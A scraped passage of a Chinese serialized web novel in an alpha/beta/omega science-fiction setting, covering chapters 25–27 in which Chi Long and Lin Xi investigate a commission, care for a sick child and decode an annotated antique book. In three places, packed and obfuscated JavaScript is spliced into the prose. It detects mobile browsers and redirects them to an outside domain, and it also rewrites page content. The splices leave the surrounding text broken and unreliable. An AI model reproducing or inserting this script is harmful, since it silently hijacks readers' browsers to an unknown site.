“谢谢。”和善地冲服务员点点头,看着对方开心地奔向后厨,池泷觉得胸口的郁闷也缓和了不少。 服务员没有骗人,饭菜确实美味,被热情送出门时,服务员还善意提醒道:“不要担心,一般人顶多三四天就会习惯红花的味道了” 于是池泷再次感谢了他们的热情招待。 美食确实可以抚慰人心,给人带来重新振作的勇气。但美食并不能解决问题,心中的纠结还在那里。 出了门的池泷继续闲逛,脑海里不断回想李光的表情和话语,她心里有些理不清的凌乱,这也是她为什么没有直接去洛熙家,现在这种略微混乱的心态,不太适合再去询问什么。 加上身边萦绕的红花味道着实令人厌烦,不知不觉间池泷加快脚步。 亚硫城很大,人群摩肩接踵,业务各色各样。 不知走了多久,天色已然擦黑。终于走累了,她才慢慢停下,却意外发现周围红花的味道消失了。 这里像一个广场,但没有和其他地方一样栽种着红花,不如说什么也没有种,只是光秃秃地放着几个长椅。 环顾四周,池泷在不远处发现巨大的“TS”标志,昨晚她还见过,太阳落山后这个标志会亮起五颜六色的光,甚至定时有光柱划过天空,从远处看就像一个不怎么正经的娱乐场所。 但好在这些光不会形成污染,因为它们似乎能被窗帘轻易地隔绝阻挡,不会影响普通人的生活。 当时被闪烁“霓虹”给刺激了一下到的池泷仔细回想,发现这家公司在不同地区的造型确实完全不同,比如央星的就是白光黑底,庄重得很;但亚硫城的却花里胡哨。 虽然都挂着同样的“TS”标志,却给人感觉各不相干。 加上擎晴一直在说它有多好,因此池泷一直觉得这家公司的执行经理或许是个富有创意的人。 没想到此刻这里又成了亚硫城里一片难得的“净土”。 就在这时,池泷突然感受到一股熟悉的气息。 她怔愣了几秒,不敢相信,怀疑是自己的错觉。 但还是转头去寻找,路上只有说笑的行人,并没有看见认识的脸。 崖柏气味逐渐远去,考虑到林息这次可能还是伪装过的,池泷拔腿朝着味道来源处追了过去。 一路上越过各色人群,崖柏的味道也愈发浓郁,池泷心里着急又带着一丝不易察觉的窃喜,完全没注意自己再次步入街道时,再没闻到一丁点儿红花的气息。 味道一直延续到一个人少的公园,池泷在寥寥几人中寻找着熟悉的身形,却没什么发现,她环顾四周,意外看到不远处有两个工人在移栽一棵巨大的柏树。 心底突然漫延开巨大的失落,她呆住,喃喃自语:“果然还是错觉。” “什么错觉?”清冷夹带着一点好笑的声音从背后传来,右肩被一只手拍了一下,池泷惊喜回头,一个金发碧眼的男性站在自己身后。 忍不住勾起嘴角,还没等池泷打招呼,林息先发制人:“怎么总是我在哪里,你就在哪里?” 闻言池泷笑得更开心了,她没回答,只觉得眼前的人比上次见到时又高了一些,越过肩头快到下巴了。 也不知道是他真的长高了还是伪装,池泷眼神往他脚底瞟去。 “看什么呢,”眼神被一只玉白的手打断,林息朝她翻了个小白眼,“垫了,那也没你高。” 从上次自己狼狈离开还没过多久,但池泷此刻看到他,还是有种很久未见的惊喜和思念。 “这大概就是‘他乡遇故知’的喜悦吧,”池泷心中解释道。 “你来这里做什么?”看池泷一直笑而不语,林息捉摸不透她的想法,但刚才她一路追随自己到这儿,应该也是喜悦的吧。 “哦!”听到这话,池泷才收起笑容,想起来要说话,“我来这里做委托。” “每次见你,总是在做委托。”但林息没说出口的是,刚才不小心在大楼前相遇,她一脸纠结不乐的样子,可能是委托遇到困难了吧。 可谁知道,才偷看她没几秒,她竟然就开始找自己了! 她怎么知道我在这儿的?林息倒是没觉得有种被人轻易锁定的不安感,反而还挺高兴。 毕竟这才是追随者该有的样子啊。 “赚点外快而已,”没反问林息来这里做什么,这是池泷的分寸,“你在这里呆几天?住在这儿还是……” “事情办完了,”林息接道。 想起她一脸让人看了难受的样子,本来打算直接回去的林息便说,“但我也不急着回去,你要是不介意,我帮你一起做委托?” “自愿的,不需要委托费,权当奖励你在比熊的事上,按照我说的去做了。”池泷嘴刚张开,林息就知道她要说那些让人讨厌的话,比如委托费什么的。 奖励?池泷挑挑眉,这个词虽然有点奇怪,但她也没多想。 正好她也有点事想问。 “谢谢,不过我下午也没事,具体得等明天干了,”再次感慨林息真的是个大好人,池泷没客气,同时她也更加高兴,“你住在哪里?等会吃个饭我送你回去吧。” “天还早,不急,”十分不满池泷的不上道,这时候明明可以询问下近况或者找个地方聊聊天之类的,偏偏她张嘴就要送自己去宾馆。 但林息并没有表现,伪装过的脸依旧看起来彬彬有礼,“正好在这个公园走动一下吧,你先把委托的具体情况跟我讲一下。” 于是二人一路朝公园走去,路上池泷把最近收集到的信息跟林息说了一下,看着他不住点头的沉静样子,池泷觉得自己的心也安定了不少。 走到公园中央,两人坐在长椅上休息,林息坐在身旁,低头沉思着什么,池泷没有打扰他,转而看向周围的风景。 这一路虽然大多数地方依旧种满红花,但在公园中央,还盛开着大片的鸢尾,紫色的花朵随风摆动,像一群芭蕾舞者在同时跳跃摇摆。 忽然,池泷目光定住了,在左手边的不远处,熟悉的楼栋正好是吴天语的小区,她数了数位置,越过周边的树木,这里正对着他家的书房。 好巧。 “既然你不打算马上去找洛熙,那明天先去吴天语家看看吧。”林息的话打断了池泷的出神,池泷下意识向他点点头。 没想到林息看见后,竟然嘴角微勾,鼻音里笑了一声。池泷摸不着头脑,自己哪里让他觉得好笑了吗? “去吃饭吧,”没理会池泷的疑惑,林息自顾自起身向外走去,池泷也连忙跟上。 他怎么可能告诉她,刚才她朝自己点头的那一瞬间,呆呆的模样像一只雏鸟,眼里全是对自己的信任和依靠。 真是令人激动。 没想到,林息和自己住在同一家宾馆。池泷目送林息走进隔壁房间,心中纳罕,也是缘分,还就住在隔壁。 她咧嘴笑开,不知道为什么,自己真的觉得特别高兴。 第二天一大早,池泷就坐在酒店楼下等林息。 昨天因为太兴奋,忘记跟他约定出发时间,想起来的时候又是半夜,想发条讯息,结果却在“我们明天几点出发”和“明天几点出发”之间思考了半天,前一句觉得有点自来熟,后一句有觉得太生硬。 最后发过去一段:“你觉得明天几点出发比较好?我都可以,不论早晚,直接跟我说就行。” 发完又觉得,这么晚了林息会不会已经睡着,讯息发过去万一打扰到他怎么办呢?可是不发,万一明天自己起晚了,多耽误时间。 抱着这样的心情,池泷忐忑地等了半个多小时,却没等来林息回复。 她有点失落,同时也有点庆幸,看来他确实已经休息了,而且没有被自己打扰。 于是今天一大早,她就起床了。洗漱吃完早饭后,已经在这里坐了将近一个半小时,前台值班的beta好奇地看了她好几眼。 甚至还叫来酒店经理询问她是否需要帮助。 得知池泷是在等人后,经理拿来了零食和矿泉水,还贴心告诉她酒店订购的电子杂志在星网的密码。 对此池泷十分感激,虽然坐在这里她也没觉得有多枯燥,因为她一直在用光脑查看军技大赛的比赛信息。 距离报名截止还有段时间,可无论是朴人间那里,还是白簇、尹霄那里,都没传来有关第四名队友的消息。 而且大赛第一轮是海选,各个地区按月轨线地区进行选拔,各自选取前50名的队伍前往央星进行第二轮复赛。 海选大概要持续将近两个月,因为参赛队伍实在是太多了,到时候很可能还会出现各种混战,竞争压力巨大。 但无论如何,当务之急是先把名报上。 想到这儿,池泷忍不住又叹了口气,手指忍不住戳了戳那个“小挂饰”。 感慨:现在不论是那俩,还是自己,都被逼着走上这条从来没有规划过的路,真是世事无常。 夏日的太阳总是早早就挂在高空准备烤人了。 酒店大厅的制冷器从来未停过,可池泷明显地感觉到一丝不同于昨日的燥热。 她合理怀疑,是因为温度升高导致红花味道逐渐浓郁,进而引起了自己的不适。 长长呼出一口气,池泷尽力将心绪平静下来,安慰自己估计还有一两天就能习惯了。 正在这时,她敏感地听见身后传来熟悉的脚步声,崖柏味道一瞬间就压过令人难过的花香,令她好过了许多。 “不舒服吗?”伴随着这句话,额头被一只冰凉的手覆上,池泷愣了一下,反应过来之前,那只手又自然地抽走,它的主人应该还是觉得疑问:“温度倒正常,怎么这样烦躁?” “没有不舒服。”温度太高,带有降温作用的手拿走后,池泷觉得自己的额头又逐渐回温,甚至整个脸都感觉热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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能在全星际直播前侃侃而谈的人,怎么会像一个小孩一样,想弄乱自己为了逃避话题而刚整理好的地方呢? 反而因为酒店沙发的深灰亚麻布料,让他更加引人注目。 本来他就白得像一抔冰雪,今天又穿了一件普通的白T和到膝盖上面的半长纯黑休闲工装短裤,简单的深色更衬得他如玉一般、冷淡非常。 只是漏洞凉鞋里隐约透露出带着嫩粉的脚趾、柔软的唇瓣和梅枝般禁欲摇曳的玉手,让这份冷淡被很好中和,多了一份娇气。 总而言之,每一寸每一处都精致好看,甚至比在乔城时更好看了。 当然这些想法只存在于池泷惊鸿一瞥后,大脑中持续不断的赞美里。 也没敢多想,想多了万一记起那种爱不释手的滑腻温软就糟糕了。 所以面上她只是假装无事地在林息旁边隔了一个身位坐下,两人谁也没有说话,池泷更是把自己眼睛看得好好的,不敢再让它乱瞟。 就在她胡思乱想、复盘刚才那场见面自己有没有丢人的时候,突然意识到一件事:林息是怎么从背后知道自己烦躁的? 可能是想得有点入神,这句话她不自觉喃喃出口,等到发现时,林息细眉轻微挑起,这个好像有点不爽的表情,完全打破了不近人情的人儿,那副总是高冷有礼的形象。 强装镇定的池泷满心“完了完了完了”,她这可是第一次看见林息露出这么明显的不满。 但很快他就恢复了平日的样子,而且短暂的沉默后,还好心地作出回答:“直觉。” 虽然回答就跟没回答一样,但池泷也没敢再问。 她并不清楚,在听到这个问题时,林息确实不爽,他也借机表达了自己的不满。要知道,适当的小脾气可以勾引另一个人长久的新鲜感。 但他也没想到,作为一个alpha,池泷竟然不知道,在肌肤相亲后,某些AO情侣会出现“信息素感受”这种情况。 就是虽然腺体被阻隔器很好地封住,防止信息素泄露引起混乱,但由于不知名的原因,某些AO情侣在气息交融后明显感受到其他人感受不到的“精神信息素”。 也就是说,虽然实际上池泷的信息素正被她脖子后面薄薄的阻隔器完全封在腺体里,可林息就能感受到那种雨要下不下、阴云密布的不安定感。 她一般觉得超级尴尬时就会这样。 一开始林息也没意识到,直到昨天,虽然他远远地就看见池泷了,但他并未准备跟她见面,反而是她突然开始追他。 见面后,他也没感受到什么,直到昨天他说自己要搬去隔壁,她的情绪应该是发生了大波动,导致他开始感受到水汽缠身,差点腿软,回到房间后早早便休息了。 但应该只是在她心情不稳时才会产生这种链接,因为总是水汽感时有时无,把握不住。 估计昨天自己见到她时也挺激动的?所以她也能感受到自己在那么远的地方? 当然这件事本身发生几率很小,比明天人类就被某种生物入侵全部灭绝都要小,她不知道也无可厚非。 所以这种不爽,他只能……忍着。 不过往好处想,她和她那位beta姐姐应该也没因为这种隐秘事了解得这么深入过,他又挺开心的。 “不准告诉别人,谁也不行。”不放心的林息还是补了一句,用的是他不常出现的命令语气。 他一点都不想让池泷把这个“秘密”告诉其他人,哪怕是家人。 看着她乖巧地点点头,他心情又好了点儿,因为她总问都不问就答应自己所有的请求,而且说到做到。 没一会儿,飞艇到达门口,李青站在通道口那里迎接,看到林息时,她脸上露出意外的表情,而池泷两人看见她身边站着一个只比李青膝盖高点儿、手里抱着小狗玩具的小朋友时,也是一脸惊讶。 还是小孩儿率先开口,声音并不清亮,勉强听得见:“姐姐哥哥好!”说着,细细的胳膊缓缓甩了甩打招呼。 “你好,我是池泷,这位是林息。”池泷先一步蹲在小孩儿面前,吸引了全部人的目光,就算蹲着,她还是比小孩儿要高,她露出一个灿烂的笑容,问道:“请问你叫什么呀?” 小孩抱着玩具的手紧了紧,怯怯地回复:“李小溪。”然后迅速躲到了李青腿后,只露出半张小脸瞅着池泷。 “小溪很少出门,比较害羞。”李青安抚地轻拍小孩儿脑袋,随即向池泷解释,“本来今天应该去上学的,可是今早突然有点发烧,只能先带着,等会送去医院。” 听见这话,池泷并不赞同:“先送孩子去医院吧,我们自己过去也行。”同时心中也暗暗松了口气。 “没关系,我们都习惯了,不差这一会儿,”李青笑着摆摆手,伸手将池泷二人推上飞艇。 什么叫习惯了? 26.第25章 乘上飞艇,池泷告诉李青目的地。 听到还是吴天语家的,李青眼里快速闪过一丝错愕,不过她并未多问,带着李小溪往驾驶舱走。 “把孩子留在这里吧。”出声的是林息,这次他的声音依旧经过了伪装,听起来温柔得不行,配上他和煦开朗的笑容,很容易就让人产生好感。 听见这话的李青似乎有些犹豫,林息又说道:“驾驶舱又小又晒,孩子不是发烧吗,在客舱休息多好。”他指指客舱橱柜里放着的软垫、毯子,“再说客舱的东西也比较全,也好照顾的。” 看了眼小溪苍白的脸色,李青很快就答应了。向二人表达了感谢,再三交代小溪不要添麻烦后,才去了驾驶舱。 林息的突然出声,让池泷摸不到头绪,毕竟她很确定林息对这个孩子并没什么亲热的意思,她甚至不知道哪里来的自信,觉得从刚才见面到现在,他的心情一直都不冷不热。 就像把孩子当成一个可有可无的透明人。 当然,林息倒不至于对孩子做些什么,这个池泷还是很确定的。 她悄悄观察李小溪,发现孩子长得很瘦小,头发虽然是浅粉,可明显露着不健康的枯黄,发厚偏薄,整个人感觉很苍白。 脸色苍白、嘴唇浅淡、连指甲盖都透露着不鲜活的白色,似乎轻轻吹一口气,这个纸片一样的小人就会化为齑粉。 最重要的是,池泷皱起眉头,她终于觉察到一点不对劲,这个孩子……似乎没有性别。 性别是一件很日常的事。 第一性别和第二性别不同,后者可以通过一些明显性征去分辨,可第一性别仅仅通过外表是难以准确分辨的,因此在转变过程中,新人类产生的信息素,另外存在一些功能。 比如在了解和加绒之外,它天生具有鉴定性别的作用,会联合视觉共同判定对方性别。 当然,不至于像大量泄露那样,会产生难以预计的后果。 所以日常生活中,尽管有阻隔器的收敛,它也会露出一些,以实现人和人之间的基础交流。 但时间久了,不同性别的人在见面时,还是能轻易辨别出对方是alpha、beta还是omega的。 从小溪身上,池泷感受不到一点性别分辨相关的信息素,她用力搓搓耳垂,却还是发现并不是自己的感受出现了问题。 这就算了,可以前,池泷对各种复杂性别气质、打扮也有所了解,却也没法确定说出小溪的第二性别。 就在池泷疑惑的时候,那边林息早已从柜子中拿出小毛毯铺在座椅上,顺势在旁边坐下,怀里还抱着一条薄毯,他朝小溪招招手,露出极具亲和力的笑容:“来,别光站那儿,休息一下吧。” 自妈妈走后,僵硬站在原地的小溪一直盯着地面,如果蹲下身,可以从侧面看见,眼睛正快速眨动着,小狗玩具被勒得更紧了。 “妈妈放心把你放在这里,说明我们可以信任的。”林息轻声说道,温柔的声线像是在讲什么睡前故事。 但小溪还是一动所动,像一只装死的小白兔。 等了一会儿,小溪还是没说话,林息突然声线提高一点,带着一点诱哄:“哎?你的小狗朋友叫什么名字啊?” 至此,僵硬的小家伙耳朵终于动了一下,几秒后极小声地回复:“天真。” “李天真吗?”幸好林息耳力还行,不然真的听不见,“好可爱的名字啊,很符合它的气质呢。” “不是。”小小的小溪这才看向他们,小脸怯生生带着几分倔强,“它叫天真,只是天真。” 池泷一愣,不明白胆小的孩子为什么突然表现出这种“攻击性”,但林息还是马上道歉,“对不起,天真。”接着又看向小溪:“我以为天真是你的,所以也跟着你姓李呢。” “不是我的……天真就是天真。”突然的反驳过后,小脸一瞬间充满慌乱,可林息随即的道歉可能安抚了孩子,同时也表达了诚意,小溪倒是看起来没有刚才那么过度紧张了。 “那早起的天真陪了我们这么久,这会儿应该也累了,”林息依旧温柔笑着,轻轻拍拍身边的座位,“过来休息一下吧,你也陪着它,你们作伴,它不会孤单。” 说不动的小冰雕此刻有所软化,纠结了一会儿,小溪终于移动脚步往座位走去,先把小狗玩具放在座位上,自己再爬到它旁边,看起来真的是为了好朋友才来陪着休息的。 这一套连招看得池泷一愣一愣,好在是因为天真,三人之间僵硬的气氛终于破冰。 看到小溪坐下,池泷也赶忙轻声问了一句:“想喝什么?这里也有好吃的。” 然而并没有得到小溪的任何回应,甚至听见池泷的话,小溪还往林息那边躲了一下。 看着这样脆弱的孩子这么胆怯敏感,池泷心中充满疼惜,倒不是怀疑李青虐待过孩子,只是到底经历过什么才让这个活泼好动年纪的孩子变成这样? “我可以摸摸天真吗?”林息诉说请求的语气依旧轻柔,小溪却依旧拒绝眼神交流,盯着地面,小手拽住天真的尾巴,但却缓缓点了下头。 于是林息慢慢把手放在小狗玩具上,从头至尾的温和抚摸,似乎手底下真的存在一只小狗。 过了没一会儿,林息又随意说道:“我叫林夕,你叫李小溪,如果我的名字中间也加一个小,那咱俩名字听起来还真像呢。” 随着林息的话,小溪似乎也陷入了思考,没多久,终于抬起头来,脸色有显而易见的惊喜,这才多了点生气。 就这样,池泷坐在旁边,看着俩人开始你一句我一句地聊着天。 这样温馨的场景,池泷并没觉得感慨或者窝心,不知道是不是错觉,她依旧认为林息其实并不喜欢也并不讨厌这个孩子。 尽管他的微笑那么温柔可信,但池泷感受不到一点他对这个孩子的在乎,连和自己一样的同情感慨的心情似乎都没有。 “所以我俩是你的叔叔阿姨,而不是哥哥姐姐。”似乎是聊到了称谓问题,池泷收回开小差的思绪,这次小溪脸上再次浮现出鲜活的惊讶。 随即不知道想到什么,小溪小嘴瘪了起来,看着非常沮丧。 “都怪我……”小纸人的眼睛失去了光彩,抽抽鼻子,但又似乎在努力不哭出来,“是我的错。” “怎么了呢?”不知不觉,林息和小溪之间的距离比刚才更近了,他把手轻轻搭在瘦弱的肩膀上,轻声询问。 “我长了好大好大的病,需要好长好长的时间才能出门,妈妈为了照顾我才会不漂亮的。”细小得难以听见的声音传来,林息将手移到小溪头顶,开始像刚才抚摸天真一样,抚摸着这个自责的孩子。 “如果我能早点好起来,早点能出门,早点去上学。”小溪有些过于早熟了,小小年纪因为成为联想到的事情,让池泷倍感震惊。 崖柏的气味突然若有似无地在整个房间铺开,池泷皱眉,下意识调动自己的信息素将其包裹住,却正好将整个客舱封了起来。 “她还骗我说衰老是正常的,不漂亮是因为遗传爷爷奶奶,”气若游丝的啜泣声终于传来,池泷眉头更加紧皱,总觉得下一秒小溪就会背过气,“如果没有我就好了,爸爸也不会死。” 看了一眼林息,令池泷意外的是,尽管抚摸的手好像依旧是力度和频率都没什么变化的、恰到好处的温柔,可他看着小溪的眼神似乎是在看一件很正常的事。 这种不正常的状况让池泷有些不安,她突然起身,走到两人面前蹲下,小溪和林息都被吓了一跳,前者更是顶着红通通的眼眶和鼻头哆嗦了一下。 随即,崖柏以极快的速度褪去。 “妈妈有说过怪你吗?还是有谁这么说过?” 斩钉截铁的声音让小溪有点反应不过来,下意识被牵着鼻子走,瓮声瓮气地回答:“没……” “那你为什么要自责呢?”没有过安慰孩子的经验,池泷也不知道跟这么脆弱的孩子说这些话对不对,但她还是硬着头皮继续说道,“这都是大人的事情,先天的身体也好、是不是要生下你,照顾你也好,都是大人自己做出的选择。” “他们做这些之前,肯定都想好了要承担一切后果的,”怕小溪感受不到安慰,池泷直视小溪的眼睛,“你这样的自责没有意义。” “而且,alpha哭会变得不好看。”看着小溪似乎因为被吓到而抿起的嘴唇,池泷心中突然有些发虚,下意识把以前擎晴安慰她的话说了出来。 说完,看见小溪那副怯懦的样子,她就有些后悔了。 倒霉的是,小溪还接着弱弱地说:“我是omega,姐……阿姨。” 是,是阿姨的错,阿姨眼瞎。 她下意识去看林息,却发现对方不知道什么时候把脸别到了一边,只是微微翘起的唇角绝对是在表达“好蠢”的意味。 “对不起啊……阿姨有点不太擅长看性别,哈哈。”尴尬地笑笑,池泷也不知道这个解释小孩能不能信。 “但不管是alpha、beta、omega,小孩都不要装大人哦。” 被池泷这么一打岔,小溪的心情平复很多,因为还发烧,很快便在林息铺好的毯子里很快睡去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815643|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 好在这段路并不远,飞艇刚停下,李青就来到客舱,看着蜷缩小小的一只露出慈爱又心疼的目光。 三人往外走去,走出飞艇后,池泷没马上离开,反而问道:“小溪几岁了?” “八岁……”以往李青说话总会出于礼貌而温和地目视对方,此刻却把目光移开了。 尽管她的嘴角依然带着惯常的笑意,但池泷就是能感受到一种无声的愧疚。 “今天都忙完以后,咱晚上一起吃个饭吧。”说不上什么样的心情,第一次池泷主动向李青发出邀约。 对方似乎受宠若惊,愣了一下后才点头答应,继而道别回到飞艇里。 倒不是池泷因为孩子而突然拉近了跟李青的距离,尽管她确实挺敬佩李青的。可实际上,是她隐约觉得林息好像欲图了解某些事,这些事应该恰好跟小溪相关。 但池泷觉得,像刚才那样继续引导那样体弱的孩子去说些什么,而没有监护人在身旁,似乎有些不太对,只好将李青拉了进来。 从刚才起就一声没吭的林息,此时瞧着还挺正常和平静,只不过池泷朦胧感觉崖柏味时强时弱,和主人的表现不完全一致。 “今晚你也来吧。”林息抬头看着眼前的人,那双黑白分明的眼眸似乎一下子就能将他看透,“一起吃个饭。” 面上未显,他只觉得心口重重颤了一下。 她肯定不知道那些肮脏的事,但她知道自己有所企图。 “你不问问我想干什么吗?”这种自池泷身上传来的、直接的、铺天盖地的绝对信任让林息突然烦躁。 “我问了你应该也很难张口吧,”带着笑意的口吻随便地就表达了理解,“而且你不会做坏事的。” 看着池泷往前走的身影,林息张了张嘴,但不知道要说什么。 那个命不久矣的孩子,比自己想象中还要不堪一击。 可能是长期缺乏社会化体验,导致心理防线又低又脆,随便几句话就能引起情绪大波动。 只要用信息素轻轻包裹住那个孩子,脆弱到没有任何防备的腺体就会被温和的表象欺骗,讲出一些知道的事,甚者,可以成为一只听话的吐真傀儡。 这是贵族审讯的一种常用手段罢了,但毕竟是omega的信息素为主导,因此一般只在omega同性之间才会好用,只有受到过严格训练的审讯官才会用,这些审讯官,一般都是贵族中最低级的omega。 毕竟,没有omega会被允许去做这么“残忍”的、不符合形象的事情。 不论如何,如果自己做得够好,那个孩子对此不会留下任何痛苦的记忆。 但他很快就知道了池泷对这件事的不赞同。 信息素被池泷锁住时,他心慌了一下,突然想起一些传言,比如有些人只喜欢追随理想中的存在。 那自己这样做是不是引起了她的反感?果然,她的信任让自己有些得意忘形了。 于是他没再动作,他明白她对那孩子的同情和怜惜,可那孩子的话也没说错。 连自己都保护不了的弱小存在,如果不是有人庇护,怎么可能存活呢? 所以自责、愧疚、自卑,只是应该存在的、正常的而已。 可他不知道哪里出了问题,她突然走过来搞怪,还说什么孩子不要假装大人,自己的信息素仍旧被她深深裹住,又热又湿的潮闷感让他知道她没有反感和生气,反而在安抚孩子……和自己。 自己有什么可安抚的呢? 林息假装没感受到那股升腾而起的陌生情感,令自己手脚发麻,不敢多看她一眼。 这是他没预料到的,于是他收回了信息素。 更没想到,她为自己找了另一条调查途径。 明明她很不习惯跟一个外人很快建立工作以外的联系。 可自己并未觉得喜悦,或者说巨大的喜悦并随着巨大的恐惧,不同于接触过的那些人,她过于直白,直白的安抚、直白的信任、直白的帮助,意外让他觉得难以适从。 该怎么办呢?明明自己才是该领导的那一个。 “快来!”黑发黑眸的alpha看他没跟上,转身招呼,“看看咱俩这次能不能有什么新收获。” 他很喜欢她用“咱俩”这个词,让他觉得他和她之间的联系是坚固而紧密的。 就像他喜欢晴空下她此刻闪闪发光的秀发、喜欢她上扬明朗的嘴角和不断摆动的右手、喜欢她过于黑白分明的眼眸一般的——那种喜欢。 以至于他有时又觉得,自己或许心甘情愿,被黑色吞噬。 27.第26章 一切都和上次自己来的时候一样。 可能是因为已经看过的缘故? 池泷莫名觉得这次再见到吴天语那空旷的家,比上次顺眼了点。 和自己一样,林息也仔细查看了屋内的陈设,只不过他寻找的动作、打量的样子,透着股池泷说不出的专业。 在自己特意提过的地方,他观察得尤其仔细。 “去书房吧。”行动一段时间后,林息说道。 书房也一切如旧,只不过这次桌上干枯的花茎彻底断开了,估计是时间到了。 趁着林息观察书桌时,池泷踮起脚,随手从旁边书架高处拿到一本书。 书本入手不大,年岁久远,书脊应该在很久之前被人修复过,上面的覆层早已折出一道长长的裂口,氧化严重的封皮被透明材料包裹着,颜色早已斑驳得看不清楚,只能从剩下有规则的棕黄色看出这是一本《启蒙童话》。 这么幼稚且久远的图书都有? 感叹自己的好运气,池泷小心翻开,纸张微微起毛,手感柔软,但暗黄色的纸张无一处不在昭示着脆弱。 首先映入眼帘的果然是五花八门、五颜六色的符号,虽然褪色不少,但数量比上次自己看到的要多很多。 其次,这本书竟然带有拼音,比池泷想像得更适合幼童。 接着翻了几页,内容倒是没什么,不过是个缝合怪罢了,池泷小时候读过的几个童话故事各摘了一些拼在里头。 但每一页的符号都非常多,有的甚至一行被不知道几种颜色标记,只剩一片融为一体的黑色。 感受到崖柏的流动,池泷知道林息走了过来,她顺手把这本书往旁边一递,果然书本被人接去了。 “原来如此。”虽然林息是小声嘟囔,但池泷还是耳尖地听见了。 “什么?你发现了什么?”池泷挑眉,感到惊喜,她立马询问,晶亮的眼睛似乎一直在说“快告诉我我很好奇”。 她真的不介意让omega发现和主导一件事。 这样的思绪一晃而过,林息指着书上黄色三角形的标记,说:“看到没,书桌也是三角形,这个标记对应的字也是‘书桌’。” 什么东西?出乎意料的答案让池泷一时没转过弯儿。 “这本书常用字比较多,还带拼音,所以一开始学字的时候被用过,”林息没抬头,轻轻翻动书页,“但拼音在日常生活中毕竟不常出现,而且对吴天语来说,拼音和字比起来更难记忆,因此就放弃了,只有开始几页有拼音被画过又擦过痕迹。” “那他去买本字典或者用电子字典……”话还没说完,池泷就反应了过来,如果本身不认字且这个年纪或许不太擅长使用光脑,电子字典基本和吴天语绝缘。 “纸质版字典很贵,大多数只有富裕人家收藏用。”说着,林息将手中的书本小心合上,“战争让古星的很多知识都丢失了,历史学家需要用不知道多长的时间去复原字典,所以格外珍贵。” “包括这本书也是,里面有一些故事是早期历史学家没有发现的,”手指轻轻抚了抚保护性包装,“没有出版日期,很可能是民间自行保存的。” 忍不住搓搓手指,池泷吸了口气,一脸感慨地说“这本书……是古董?” 这一摸得多少星币啊。 “没错,而且就算被画成这样,价值也不会太低。”林息忍俊不禁,池泷脸色明晃晃写着“我的手不配摸这个”。 虽然他知道池泷的历史学科成绩还不错,可他总觉得她的某些常识很有问题,似乎和历史,在某种程度上完全割裂开了。 “这就奇怪了,吴天语守着这么大座宝库……”语气停顿了一下,池泷两只手在空中比划了一个大圈,“还要偷酒?随便卖一本就财富自由了吧。” “但他可能没卖过,”林息一句话让池泷收回感慨,他手指轻点封面,“这些书流到市场,有价无市的东西引起的轰动绝对不小,但从未听某人提起过,而且这上面的笔迹也不是一个人的。” 其实说完最后一句话,林息心里罕见地忐忑了几分,毕竟一个omega会看笔迹这件事,总觉得不是很光彩。 “你怎么这么厉害?还会看笔迹?”黑白分明的美丽眼眸似乎爆发出比刚才更为惊人的亮光,那里面的赞美敬佩似乎要马上溢出,让人想装看不见都难。 不想被看见越来越热的脸颊,林息赶忙转身,踮起脚,想把书放回原位,却发现自己矮了点。 很快书被人从身后拿走放回原位,看不见那人的表情,但她的语气中依旧是直率而由衷的赞美:“会杀价、会做饭、会看笔迹,你还有什么不会的?” 空气中水汽浮动,氤氤氲氲得让人潮热。 放回书后,池泷退开了点,却发现林息低着头,背影只能看见耳朵通红。 崖柏味浓香活跃,起起伏伏得让人心痒。 这是怎么了?池泷不解,自己也没干什么吧? 随即她无声地笑开来,总觉得林息不太擅长应对赞美。 不过此时不再宠辱不惊的林息更加真实,清冷的伪装下原来也跟普通人有着某些相同的地方。 “你是怎么发现这些标记是什么意思的?”假装没看见通红的耳朵,池泷背身去收拾桌上的枯枝,给他空间,不过这件事也是自己从刚才起就好奇的。 “就算我们的基因跟过去比,似乎各个方面好像都是在进化,但这世界上,基因突变也确实让一部分人开始出现识别障碍。他们很多东西能看到,但是认不出来。”声音如常,池泷拿捏着断了的枯枝,静静听他说话,“最基础的东西,比如识文断字,对他们来说都极其困难,更别提书写了。” “嗯,而且这样的话,生活起来也很困难吧。”池泷摸摸下巴,唏嘘道,“有口难言、有眼难识,真的是……” “为此,曾经有人提出过这样一套适应性替代理论,借着大幅度提高的记忆能力,以图、物代字,再从字回归,结合生活,将锻炼识别能力应用到方方面面,这个实验临床效果显著,具有极大的可操作性。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841225|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这真的是个好办法哎,给解决了不少麻烦,”池泷赞叹道,“这人能关注到这样的少数群体也真是厉害。” “但是像这样的少数群体都是进化的‘失败品’,王室的政策是,一旦被发现,就会送到特殊管制所统一封闭管理。” “为什么?”池泷不太明白,随即又不太确定地说,“怕基因污染?” “对。” “难道会遗传?” “可能性极小,大多数是因为新星环境或者其他原因导致的基因突变。” 听到这里,她忍不住冷笑,说了声:“那真是有够无聊,再说又不是不能治,哪来的优越感。” 说完,她又咳了两声,这种语气在林息面前说这种话,总感觉有点无礼。池泷找补了一下,再次衷心感慨:“你能知道这种学术性的事也是见识多广。” 